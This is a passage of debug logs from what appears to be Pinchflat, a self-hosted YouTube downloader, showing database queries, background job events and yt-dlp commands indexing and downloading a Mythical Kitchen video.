s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:53.793 [debug] QUERY OK source="settings" db=0.0ms idle=107.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:53.793 [debug] QUERY OK source="settings" db=0.0ms idle=107.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:53.793 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj --skip-download --convert-thumbnails jpg --output /tmp/pinchflat/data/9dbce6152c279ccc/source_image.%(ext)S --write-thumbnail --playlist-items 1 --print-to-file playlist:%()j /tmp/pinchflat/data/a3/46/a346eab040825d8cd796f603a3acaf1d8bf9147ecd766a7a5bfb5704fc020696.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:14:53.850 [debug] Current batch of media processed. Will check again in 1000ms 23:14:54.851 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Matthew Lillard eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Matthew's Last Meal\n0:27 Tam the Mime\n2:47 Fear Of Death & Emotional Connection To Food\n5:42 1st Course\n7:24 Family Business Meetings at Don Jose's\n9:50 Acting Class vs. Typing Class\n11:59 Community & Defining Yourself\n13:40 Orange County Skater Kid\n16:50 Patron Saint Of The Weird Kids\n19:20 2nd Course\n22:05 How Food Divides People\n24:10 Emotional Connection to Food\n26:26 Climbing the Fame Ladder\n29:10 Dinner Party Play Readthru\n30:20 3rd Course\n33:05 Dungeons & Dragons\n36:37 Finding Your Purpose\n39:43 Connecting With Fans\n45:18 4th Course\n45:30 Thanking the Kitcheneers\n47:23 Parenting Creative Kids\n48:23 Josh's Rebellion Against His Dad\n51:29 Wanting Another Call With Dad\n53:10 SLC Punk\n56:46 What's Your Impact?\n1:00:06 What Do You Think Happens When You Die?\n1:01:06 Lightning Round\n1:03:09 Matthew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 3849, "filename" => "/downloads/Custom Downloads/2026-02-26 Matthew Lillard Eats His Last Meal/Matthew Lillard Eats His Last Meal [LhV-ltzpGW8].mp4", "id" => "LhV-ltzpGW8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LhV-ltzpGW8", "playlist_index" => 1, "timestamp" => 1772103638, "title" => "Matthew Lillard Eats His Last Meal", "upload_date" => "20260226"} 23:14:54.852 [debug] QUERY OK source="sources" db=0.4ms idle=1058.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:14:54.853 [debug] QUERY OK source="sources" db=0.2ms idle=1058.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:54.853 [debug] QUERY OK source="media_items" db=0.1ms queue=0.2ms idle=1059.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-26 11:00:38Z], 3] 23:14:54.858 [debug] QUERY OK source="media_items" db=4.0ms idle=1016.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_download","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Matthew Lillard eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Matthew's Last Meal\n0:27 Tam the Mime\n2:47 Fear Of Death & Emotional Connection To Food\n5:42 1st Course\n7:24 Family Business Meetings at Don Jose's\n9:50 Acting Class vs. Typing Class\n11:59 Community & Defining Yourself\n13:40 Orange County Skater Kid\n16:50 Patron Saint Of The Weird Kids\n19:20 2nd Course\n22:05 How Food Divides People\n24:10 Emotional Connection to Food\n26:26 Climbing the Fame Ladder\n29:10 Dinner Party Play Readthru\n30:20 3rd Course\n33:05 Dungeons & Dragons\n36:37 Finding Your Purpose\n39:43 Connecting With Fans\n45:18 4th Course\n45:30 Thanking the Kitcheneers\n47:23 Parenting Creative Kids\n48:23 Josh's Rebellion Against His Dad\n51:29 Wanting Another Call With Dad\n53:10 SLC Punk\n56:46 What's Your Impact?\n1:00:06 What Do You Think Happens When You Die?\n1:01:06 Lightning Round\n1:03:09 Matthew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Matthew Lillard Eats His Last Meal", "925f34f9-8944-4db3-b59e-e522abb80204", "LhV-ltzpGW8", 3849, false, "https://www.youtube.com/watch?v=LhV-ltzpGW8", 1, "/downloads/Custom Downloads/2026-02-26 Matthew Lillard Eats His Last Meal/Matthew Lillard Eats His Last Meal [LhV-ltzpGW8].mp4", false, false, false, 3, [], 0, ~U[2026-02-26 11:00:38Z], ~U[2026-03-28 03:14:54Z], ~U[2026-03-28 03:14:54Z], "Today, Matthew Lillard eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Matthew's Last Meal\n0:27 Tam the Mime\n2:47 Fear Of Death & Emotional Connection To Food\n5:42 1st Course\n7:24 Family Business Meetings at Don Jose's\n9:50 Acting Class vs. Typing Class\n11:59 Community & Defining Yourself\n13:40 Orange County Skater Kid\n16:50 Patron Saint Of The Weird Kids\n19:20 2nd Course\n22:05 How Food Divides People\n24:10 Emotional Connection to Food\n26:26 Climbing the Fame Ladder\n29:10 Dinner Party Play Readthru\n30:20 3rd Course\n33:05 Dungeons & Dragons\n36:37 Finding Your Purpose\n39:43 Connecting With Fans\n45:18 4th Course\n45:30 Thanking the Kitcheneers\n47:23 Parenting Creative Kids\n48:23 Josh's Rebellion Against His Dad\n51:29 Wanting Another Call With Dad\n53:10 SLC Punk\n56:46 What's Your Impact?\n1:00:06 What Do You Think Happens When You Die?\n1:01:06 Lightning Round\n1:03:09 Matthew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Matthew Lillard Eats His Last Meal", "LhV-ltzpGW8", 3849, false, "https://www.youtube.com/watch?v=LhV-ltzpGW8", "/downloads/Custom Downloads/2026-02-26 Matthew Lillard Eats His Last Meal/Matthew Lillard Eats His Last Meal [LhV-ltzpGW8].mp4", false, 3, ~U[2026-02-26 11:00:38Z]] 23:14:54.859 [debug] QUERY OK source="sources" db=0.3ms idle=19.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:54.860 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:14:54.861 [debug] QUERY OK source="media_items" db=0.3ms queue=0.4ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [213] 23:14:54.861 [info] Kicking off download for media item #213 (LhV-ltzpGW8) 23:14:54.863 [debug] QUERY OK source="tasks" db=0.2ms idle=3.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [120, 213, ~U[2026-03-28 03:14:54Z], ~U[2026-03-28 03:14:54Z]] 23:14:54.863 [debug] Current batch of media processed. Will check again in 1000ms 23:14:54.870 [info] {"args":{"id":213},"id":120,"meta":{},"system_time":1774667694870568512,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:14:54.872 [debug] QUERY OK source="media_items" db=0.9ms queue=0.3ms idle=9.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213] 23:14:54.872 [debug] QUERY OK source="tasks" db=1.2ms idle=8.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:14:54.872 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:14:54.873 [debug] QUERY OK source="sources" db=0.5ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:54.873 [debug] QUERY OK source="sources" db=0.6ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:54.874 [debug] QUERY OK source="media_items" db=0.5ms queue=0.5ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213] 23:14:54.874 [debug] QUERY OK source="media_profiles" db=0.8ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:14:54.875 [debug] QUERY OK source="media_items" db=0.3ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [213] 23:14:54.876 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [213] 23:14:54.877 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:14:54.877 [debug] QUERY OK source="settings" db=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:54.878 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:54.878 [debug] Running yt-dlp command for action: get_downloadable_status 23:14:54.878 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:54.879 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:54.879 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:54.879 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LhV-ltzpGW8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e1/66/e166318c218caf876a9134e144d83625efd19fdfe25e3cfbb661e47e57ccf4cf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:14:55.864 [debug] Current batch of media processed. Will check again in 1000ms 23:14:56.865 [debug] Current batch of media processed. Will check again in 1000ms 23:14:56.958 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj --skip-download --convert-thumbnails jpg --output /tmp/pinchflat/data/9dbce6152c279ccc/source_image.%(ext)S --write-thumbnail --playlist-items 1 --print-to-file playlist:%()j /tmp/pinchflat/data/a3/46/a346eab040825d8cd796f603a3acaf1d8bf9147ecd766a7a5bfb5704fc020696.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:14:56.970 [debug] QUERY OK db=0.0ms idle=459.9ms begin [] 23:14:56.971 [debug] QUERY OK source="sources" db=0.0ms UPDATE "sources" SET "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 03:14:56Z], 3] 23:14:56.971 [debug] QUERY OK source="source_metadata" db=0.0ms INSERT INTO "source_metadata" ("metadata_filepath","source_id","poster_filepath","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/sources/3/metadata.json.gz", 3, "/config/metadata/sources/3/poster.jpg", ~U[2026-03-28 03:14:56Z], ~U[2026-03-28 03:14:56Z]] 23:14:56.971 [debug] QUERY OK db=0.0ms commit [] 23:14:56.971 [info] {"args":{"id":3},"id":119,"meta":{},"state":"success","max_attempts":3,"queue":"remote_metadata","worker":"Pinchflat.Metadata.SourceMetadataStorageWorker","source":"oban","duration":5712853,"event":"job:stop","queue_time":257912,"attempt":1,"tags":["media_source","source_metadata","remote_metadata","show_in_dashboard"]} 23:14:56.971 [debug] QUERY OK source="tasks" db=0.1ms idle=460.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:14:56.971 [debug] QUERY OK source="media_items" db=0.1ms idle=460.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213] 23:14:56.972 [debug] QUERY OK source="sources" db=0.2ms idle=130.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:57.413 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LhV-ltzpGW8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e1/66/e166318c218caf876a9134e144d83625efd19fdfe25e3cfbb661e47e57ccf4cf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:14:57.414 [debug] Running yt-dlp command for action: download 23:14:57.414 [debug] QUERY OK source="settings" db=0.1ms idle=442.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:57.414 [debug] QUERY OK source="settings" db=0.0ms idle=442.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:57.414 [debug] QUERY OK source="settings" db=0.0ms idle=442.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:57.414 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LhV-ltzpGW8 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Custom Downloads/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a4/31/a43100bbdf46489723a34455ee1f3c0950c7ceac42b0a81aeb70330b050b29c6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:14:57.866 [debug] Current batch of media processed. Will check again in 1000ms 23:14:58.867 